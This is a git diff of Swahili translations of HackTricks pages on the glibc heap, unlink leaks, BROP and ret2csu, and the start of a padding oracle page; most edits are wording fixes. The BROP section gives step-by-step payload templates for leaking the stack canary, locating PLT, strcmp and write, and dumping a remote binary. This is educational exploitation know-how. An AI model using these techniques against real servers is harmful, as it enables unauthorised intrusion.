@ -258,7 +258,7 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
return request2size (req);
}
```
Kumbuka kwamba kwa kuhesabu jumla ya nafasi inayohitajika, `SIZE_SZ` inaongezwa mara moja tu kwa sababu uwanja wa `prev_size` unaweza kutumika kuhifadhi data, hivyo basi kichwa cha awali pekee kinahitajika.
Kumbuka kwamba kwa kuhesabu jumla ya nafasi inayohitajika, `SIZE_SZ` inaongezwa mara 1 tu kwa sababu uwanja wa `prev_size` unaweza kutumika kuhifadhi data, hivyo basi kichwa cha awali pekee kinahitajika.
### Pata data ya Chunk na badilisha metadata
@ -414,7 +414,7 @@ Set a breakpoint at the end of the main function and lets find out where the inf
Ni rahisi kuona kwamba string panda iliwekwa kwenye `0xaaaaaaac12a0` (ambayo ilikuwa anwani iliyotolewa kama jibu na malloc ndani ya `x0`). Kuangalia 0x10 bytes kabla inawezekana kuona kwamba `0x0` inawakilisha kwamba **kipande cha awali hakitumiki** (urefu 0) na kwamba urefu wa kipande hiki ni `0x21`.
Nafasi za ziada zilizohifadhiwa (0x21-0x10=0x11) zinatokana na **vichwa vilivyoongezwa** (0x10) na 0x1 haimaanishi kwamba ilihifadhiwa 0x21B bali bits tatu za mwisho za urefu wa kichwa cha sasa zina maana maalum. Kwa kuwa urefu daima umeunganishwa kwa byte 16 (katika mashine za 64bits), bits hizi kwa kweli hazitakuwa zitatumika na nambari ya urefu.
Nafasi za ziada zilizohifadhiwa (0x21-0x10=0x11) zinatokana na **vichwa vilivyoongezwa** (0x10) na 0x1 haimaanishi kwamba ilihifadhiwa 0x21B bali bits 3 za mwisho za urefu wa kichwa cha sasa zina maana maalum. Kwa kuwa urefu daima umeunganishwa kwa byte 16 (katika mashine za 64bits), bits hizi kwa kweli hazitakuwa zitatumika na nambari ya urefu.
```
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
@ -470,33 +470,33 @@ return 0;
Kwa kuangalia mfano wa awali, inawezekana kuona jinsi mwanzoni kuna arena 1 tu:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Kisha, baada ya kuita thread ya kwanza, ile inayoiita malloc, arena mpya inaundwa:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Kisha, baada ya kuita thread ya kwanza, ile inayoitwa malloc, arena mpya inaundwa:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
na ndani yake kuna chunks kadhaa zinazopatikana:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Bins & Memory Allocations/Frees
## Bins & Allocations za Kumbukumbu/Kuondoa
Angalia ni zipi bins na jinsi zilivyoandaliwa na jinsi kumbukumbu inavyotolewa na kuachiliwa katika:
Angalia ni zipi bins na jinsi zilivyoandaliwa na jinsi kumbukumbu inavyotolewa na kuondolewa katika:
{% content-ref url="bins-and-memory-allocations.md" %}
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
{% endcontent-ref %}
## Heap Functions Security Checks
## Ukaguzi wa Usalama wa Kazi za Heap
Functions zinazohusiana na heap zitafanya ukaguzi fulani kabla ya kutekeleza vitendo vyake ili kujaribu kuhakikisha kuwa heap haijaharibiwa:
Kazi zinazohusiana na heap zitafanya ukaguzi fulani kabla ya kutekeleza vitendo vyake ili kujaribu kuhakikisha kuwa heap haijaharibiwa:
{% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
{% endcontent-ref %}
## References
## Marejeleo
* [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
* [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)

View file

@ -9,7 +9,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte
<summary>Support HackTricks</summary>
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
@ -65,31 +65,31 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
```
### Graphical Explanation
Check this great graphical explanation of the unlink process:
Angalia maelezo mazuri ya picha kuhusu mchakato wa unlink:
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
### Security Checks
* Angalia kama saizi iliyoonyeshwa ya kipande ni sawa na prev\_size iliyoonyeshwa katika kipande kinachofuata
* Angalia kama ukubwa ulioonyeshwa wa chunk ni sawa na prev\_size iliyoonyeshwa katika chunk inayofuata
* Angalia pia kwamba `P->fd->bk == P` na `P->bk->fw == P`
* Ikiwa kipande si kidogo, angalia kwamba `P->fd_nextsize->bk_nextsize == P` na `P->bk_nextsize->fd_nextsize == P`
* Ikiwa chunk si ndogo, angalia kwamba `P->fd_nextsize->bk_nextsize == P` na `P->bk_nextsize->fd_nextsize == P`
### Leaks
Kipande kisichounganishwa hakifutii anwani zilizotolewa, hivyo kuwa na ufikiaji wa rad, inawezekana kuvuja anwani za kuvutia:
Chunk isiyo na kiunga haifanyi usafi wa anwani zilizotolewa, hivyo kuwa na ufikiaji wa rad, inawezekana kuvuja anwani za kuvutia:
Libc Leaks:
* Ikiwa P iko katika kichwa cha orodha iliyo na viungo viwili, `bk` itakuwa ikielekeza kwa `malloc_state` katika libc
* Ikiwa P iko mwishoni mwa orodha iliyo na viungo viwili, `fd` itakuwa ikielekeza kwa `malloc_state` katika libc
* Wakati orodha iliyo na viungo viwili ina kipande kimoja tu cha bure, P iko katika orodha iliyo na viungo viwili, na wote `fd` na `bk` wanaweza kuvuja anwani ndani ya `malloc_state`.
* Ikiwa P iko katika kichwa cha orodha iliyo na viunga viwili, `bk` itakuwa ikielekeza kwa `malloc_state` katika libc
* Ikiwa P iko mwishoni mwa orodha iliyo na viunga viwili, `fd` itakuwa ikielekeza kwa `malloc_state` katika libc
* Wakati orodha iliyo na viunga viwili ina chunk moja tu ya bure, P iko katika orodha iliyo na viunga viwili, na zote `fd` na `bk` zinaweza kuvuja anwani ndani ya `malloc_state`.
Heap leaks:
* Ikiwa P iko katika kichwa cha orodha iliyo na viungo viwili, `fd` itakuwa ikielekeza kwa kipande kinachopatikana katika heap
* Ikiwa P iko mwishoni mwa orodha iliyo na viungo viwili, `bk` itakuwa ikielekeza kwa kipande kinachopatikana katika heap
* Ikiwa P iko katika orodha iliyo na viungo viwili, wote `fd` na `bk` wataelekeza kwa kipande kinachopatikana katika heap
* Ikiwa P iko katika kichwa cha orodha iliyo na viunga viwili, `fd` itakuwa ikielekeza kwa chunk inayopatikana katika heap
* Ikiwa P iko mwishoni mwa orodha iliyo na viunga viwili, `bk` itakuwa ikielekeza kwa chunk inayopatikana katika heap
* Ikiwa P iko katika orodha iliyo na viunga viwili, zote `fd` na `bk` zitakuwa zikielekeza kwa chunk inayopatikana katika heap
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
@ -101,7 +101,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,21 +1,21 @@
# BROP - Blind Return Oriented Programming
{% hint style="success" %}
Jifunze & fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Taarifa za Msingi
## Basic Information
Lengo la shambulio hili ni kuwa na uwezo wa **kuitumia ROP kupitia overflow ya buffer bila taarifa yoyote kuhusu binary iliyo hatarini**.\
Shambulio hili linategemea hali ifuatayo:
@ -23,9 +23,9 @@ Shambulio hili linategemea hali ifuatayo:
* Uthibitisho wa stack na maarifa ya jinsi ya kuichochea.
* Programu ya seva inayorejelewa baada ya kuanguka.
## Shambulio
## Attack
### **1. Pata offset iliyo hatarini** ukituma herufi moja zaidi hadi kasoro ya seva itambuliwe
### **1. Pata offset iliyo hatarini** ukituma herufi moja zaidi hadi kutambua hitilafu ya seva
### **2. Brute-force canary** ili kuvuja
@ -41,7 +41,7 @@ Gadget hii kimsingi inaruhusu kuthibitisha kwamba kitu cha kuvutia kimefanywa na
Teknolojia hii inatumia gadget ya [**ret2csu**](ret2csu.md). Na hii ni kwa sababu ikiwa unapata gadget hii katikati ya maagizo fulani unapata gadgets za kudhibiti **`rsi`** na **`rdi`**:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Hizi zingekuwa gadgets:
@ -50,23 +50,23 @@ Hizi zingekuwa gadgets:
Tazama jinsi kwa gadgets hizo inawezekana **kudhibiti hoja 2** za kazi ya kuita.
Pia, angalia kwamba gadget ya ret2csu ina **saini ya kipekee sana** kwa sababu itakuwa ikipiga 6 registers kutoka kwenye stack. Hivyo kutuma mchain kama:
Pia, angalia kwamba gadget ya ret2csu ina **saini ya kipekee sana** kwa sababu itakuwa ikichukua register 6 kutoka kwenye stack. Hivyo kutuma mchain kama:
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
Ikiwa **STOP inatekelezwa**, hii kimsingi inamaanisha anwani **ambayo inachukua 6 registers** kutoka kwenye stack ilitumika. Au kwamba anwani iliyotumika pia ilikuwa anwani ya STOP.
Ikiwa **STOP inatekelezwa**, hii kimsingi inamaanisha **anwani inayochukua register 6** kutoka kwenye stack ilitumika. Au kwamba anwani iliyotumika pia ilikuwa anwani ya STOP.
Ili **kuondoa chaguo hili la mwisho** mchain mpya kama ifuatavyo inatekelezwa na haipaswi kutekeleza gadget ya STOP ili kuthibitisha kwamba ya awali ilipiga 6 registers:
Ili **kuondoa chaguo hili la mwisho** mchain mpya kama ifuatavyo inatekelezwa na haipaswi kutekeleza gadget ya STOP ili kuthibitisha ya kwamba ya awali ilichukua register 6:
`'A' * offset + canary + rbp + ADDR`
Kujua anwani ya gadget ya ret2csu, inawezekana **kujua anwani za gadgets za kudhibiti `rsi` na `rdi`**.
Kujua anwani ya gadget ya ret2csu, inawezekana **kudhania anwani ya gadgets za kudhibiti `rsi` na `rdi`**.
### 6. Pata PLT
Meza ya PLT inaweza kutafutwa kutoka 0x400000 au kutoka **anwani ya RIP iliyovuja** kutoka kwenye stack (ikiwa **PIE** inatumika). **Kuingia** za meza zime **gawanywa na 16B** (0x10B), na wakati kazi moja inaitwa seva haianguki hata kama hoja haziko sahihi. Pia, kuangalia anwani ya kuingia katika **PLT + 6B pia haianguki** kwani ndiyo msimbo wa kwanza unaotekelezwa.
Meza ya PLT inaweza kutafutwa kutoka 0x400000 au kutoka **anwani ya RIP iliyovuja** kutoka kwenye stack (ikiwa **PIE** inatumika). **Kuingia** za meza zime **gawanywa na 16B** (0x10B), na wakati kazi moja inaitwa seva haianguki hata kama hoja haziko sahihi. Pia, kuangalia anwani ya kuingia katika **PLT + 6B pia hakutakuka** kwani ni msimbo wa kwanza unaotekelezwa.
Kwa hivyo, inawezekana kupata meza ya PLT ukitazama tabia zifuatazo:
Kwa hivyo, inawezekana kupata meza ya PLT kuangalia tabia zifuatazo:
* `'A' * offset + canary + rbp + ADDR + STOP` -> hakuna kuanguka
* `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> hakuna kuanguka
@ -83,7 +83,7 @@ Inawezekana kupata eneo la **`strcmp`** katika PLT kulingana na tabia yake kwa k
* strcmp(\<anwani ya kusoma>, \<anwani isiyo ya kusoma>) -> kuanguka
* strcmp(\<anwani ya kusoma>, \<anwani ya kusoma>) -> hakuna kuanguka
Inawezekana kuangalia hii kwa kuita kila kuingia katika meza ya PLT au kwa kutumia **njia ya polepole ya PLT** ambayo kimsingi inajumuisha **kuita kuingia katika meza ya PLT + 0xb** (ambayo inaita **`dlresolve`**) ikifuatwa kwenye stack na **nambari ya kuingia ambayo mtu anataka kuchunguza** (ikianza na sifuri) ili kuchanganua kuingia zote za PLT kutoka ya kwanza:
Inawezekana kuangalia hii kwa kuita kila kuingia katika meza ya PLT au kwa kutumia **PLT slow path** ambayo kimsingi inajumuisha **kuita kuingia katika meza ya PLT + 0xb** (ambayo inaita **`dlresolve`**) ikifuatwa katika stack na **nambari ya kuingia ambayo mtu anataka kuchunguza** (ikianza na sifuri) ili kuchanganua kuingia zote za PLT kutoka ya kwanza:
* strcmp(\<anwani isiyo ya kusoma>, \<anwani ya kusoma>) -> kuanguka
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Itanguka
@ -94,9 +94,9 @@ Inawezekana kuangalia hii kwa kuita kila kuingia katika meza ya PLT au kwa kutum
Kumbuka kwamba:
* BROP + 0x7 inaelekeza kwenye **`pop RSI; pop R15; ret;`**
* BROP + 0x9 inaelekeza kwenye **`pop RDI; ret;`**
* PLT + 0xb inaelekeza kwenye wito wa **dl\_resolve**.
* BROP + 0x7 inaelekeza kwa **`pop RSI; pop R15; ret;`**
* BROP + 0x9 inaelekeza kwa **`pop RDI; ret;`**
* PLT + 0xb inaelekeza kwa wito wa **dl\_resolve**.
Baada ya kupata `strcmp` inawezekana kuweka **`rdx`** kwa thamani kubwa kuliko 0.
@ -106,9 +106,9 @@ Kumbuka kwamba kawaida `rdx` itakuwa tayari na thamani kubwa kuliko 0, hivyo hat
### 8. Kutafuta Write au sawa
Hatimaye, inahitajika gadget inayoweza kutoa data ili kutoa binary. Na kwa wakati huu inawezekana **kudhibiti hoja 2 na kuweka `rdx` kubwa kuliko 0.**
Hatimaye, inahitajika gadget inayoweza kutoa data ili kutoa binary. Na katika hatua hii inawezekana **kudhibiti hoja 2 na kuweka `rdx` kuwa kubwa kuliko 0.**
Kuna kazi 3 za kawaida ambazo zinaweza kutumika kwa hili:
Kuna kazi 3 za kawaida ambazo zinaweza kutumiwa vibaya kwa hili:
* `puts(data)`
* `dprintf(fd, data)`
@ -116,7 +116,7 @@ Kuna kazi 3 za kawaida ambazo zinaweza kutumika kwa hili:
Hata hivyo, karatasi ya asili inataja tu ile ya **`write`**, hivyo hebu tuzungumze kuhusu hiyo:
Shida ya sasa ni kwamba hatujui **wapi kazi ya write iko ndani ya PLT** na hatujui **nambari ya fd ya kutuma data kwa socket yetu**.
Tatizo la sasa ni kwamba hatujui **wapi kazi ya write iko ndani ya PLT** na hatujui **nambari ya fd ya kutuma data kwa socket yetu**.
Hata hivyo, tunajua **wapi meza ya PLT iko** na inawezekana kupata write kulingana na **tabia yake**. Na tunaweza kuunda **michango kadhaa** na seva na kutumia **FD ya juu** tukitumaini kwamba inalingana na baadhi ya michango yetu.
@ -126,26 +126,26 @@ Saini za tabia za kupata kazi hizo:
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Ikiwa kuna data iliyochapishwa, basi dprintf ilipatikana
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Ikiwa kuna data iliyochapishwa, basi write ilipatikana
## Utekelezaji Otomatiki
## Automatic Exploitation
* [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
## Marejeleo
## References
* Karatasi ya asili: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
{% hint style="success" %}
Jifunze & fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -17,13 +17,13 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
##
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Basic Information
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Msingi wa Taarifa
**ret2csu** ni mbinu ya udukuzi inayotumika unapojaribu kuchukua udhibiti wa programu lakini huwezi kupata **gadgets** unazotumia kawaida kubadilisha tabia ya programu.
Wakati programu inatumia maktaba fulani (kama libc), ina baadhi ya kazi zilizojengwa ndani kwa ajili ya kusimamia jinsi vipande tofauti vya programu vinavyoongea na kila mmoja. Miongoni mwa kazi hizi kuna baadhi ya vito vilivyofichwa ambavyo vinaweza kutenda kama gadgets zetu zinazokosekana, hasa moja inayoitwa `__libc_csu_init`.
Wakati programu inatumia maktaba fulani (kama libc), ina baadhi ya kazi zilizojengwa ndani kwa ajili ya kusimamia jinsi vipande tofauti vya programu vinavyowasiliana. Kati ya kazi hizi kuna baadhi ya vito vilivyofichwa ambavyo vinaweza kutenda kama gadgets zetu zinazokosekana, hasa moja inayoitwa `__libc_csu_init`.
### The Magic Gadgets in \_\_libc\_csu\_init
### Gadgets za Uchawi katika \_\_libc\_csu\_init
Katika **`__libc_csu_init`**, kuna mfuatano mbili za maagizo (gadgets) za kuangazia:
@ -41,14 +41,14 @@ Hii gadget inatupa uwezo wa kudhibiti hizi registers kwa kupopoa thamani kutoka
2. Mfululizo wa pili unatumia thamani tulizoweka kufanya mambo kadhaa:
* **Hamisha thamani maalum kwenye registers nyingine**, na kuziandaa kwa ajili yetu kuzitumia kama vigezo katika kazi.
* **Fanya wito kwa eneo** lililopangwa kwa kujumlisha thamani katika r15 na rbx, kisha kuzidisha rbx kwa 8.
* **Fanya wito kwa eneo** lililopangwa kwa kuongeza pamoja thamani katika r15 na rbx, kisha kuzaa rbx kwa 8.
```armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
```
3. Labda hujui anwani yoyote ya kuandika hapo na unahitaji **amri ya `ret`**. Kumbuka kwamba gadget ya pili pia itamalizika kwa **`ret`**, lakini utahitaji kukutana na **masharti** fulani ili kufikia hiyo:
3. Labda hujui anwani yoyote ya kuandika hapo na unahitaji **amri ya `ret`**. Kumbuka kwamba gadget ya pili pia itamalizika kwa **`ret`**, lakini utahitaji kutimiza baadhi ya **masharti** ili kufikia hiyo:
```armasm
mov rdx, r15;
mov rsi, r14;
@ -60,10 +60,10 @@ jnz <func>
...
ret
```
Masharti yatakuwa:
The conditions will be:
* `[r12 + rbx*8]` lazima iwe inaelekeza kwenye anwani inayohifadhi kazi inayoweza kuitwa (ikiwa huna wazo na hakuna pie, unaweza kutumia tu kazi ya `_init`):
* Ikiwa \_init iko kwenye `0x400560`, tumia GEF kutafuta kiashiria katika kumbukumbu kwake na ufanye `[r12 + rbx*8]` kuwa anwani yenye kiashiria cha \_init:
* `[r12 + rbx*8]` lazima iwe inashiria anwani inayohifadhi kazi inayoweza kuitwa (ikiwa huna wazo na hakuna pie, unaweza tu kutumia kazi ya `_init`):
* Ikiwa \_init iko katika `0x400560`, tumia GEF kutafuta kiashiria katika kumbukumbu kwake na ufanye `[r12 + rbx*8]` kuwa anwani yenye kiashiria kwa \_init:
```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
@ -80,7 +80,7 @@ gef➤ search-pattern 0x400560
Njia nyingine ya kudhibiti **`rdi`** na **`rsi`** kutoka kwa gadget ya ret2csu ni kwa kufikia ofseti maalum:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Angalia ukurasa huu kwa maelezo zaidi:
@ -96,7 +96,7 @@ Fikiria unataka kufanya syscall au kuita kazi kama `write()` lakini unahitaji th
Hapa ndipo **ret2csu** inapoingia:
1. **Weka Register**: Tumia gadget ya kwanza ya kichawi kupop values kutoka kwenye stack na kuingia rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), na r15.
1. **Weka Register**: Tumia gadget ya kwanza ya kichawi kutoa thamani kutoka kwenye stack na kuingia rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), na r15.
2. **Tumia Gadget ya Pili**: Ukiwa na register hizo zimewekwa, unatumia gadget ya pili. Hii inakuwezesha kuhamasisha thamani zako ulizochagua katika `rdx` na `rsi` (kutoka r14 na r13, mtawalia), ukitayarisha vigezo kwa wito wa kazi. Zaidi ya hayo, kwa kudhibiti `r15` na `rbx`, unaweza kufanya programu iite kazi iliyoko kwenye anwani unayoihesabu na kuweka katika `[r15 + rbx*8]`.
Una [**mfano unaotumia mbinu hii na kuielezea hapa**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), na hii ndiyo exploit ya mwisho iliyotumika:

View file

@ -1,8 +1,8 @@
# Padding Oracle
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,8 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## CBC - Cipher Block Chaining
@ -49,9 +47,9 @@ Note how in the last example the **last block was full so another one was genera
## Padding Oracle
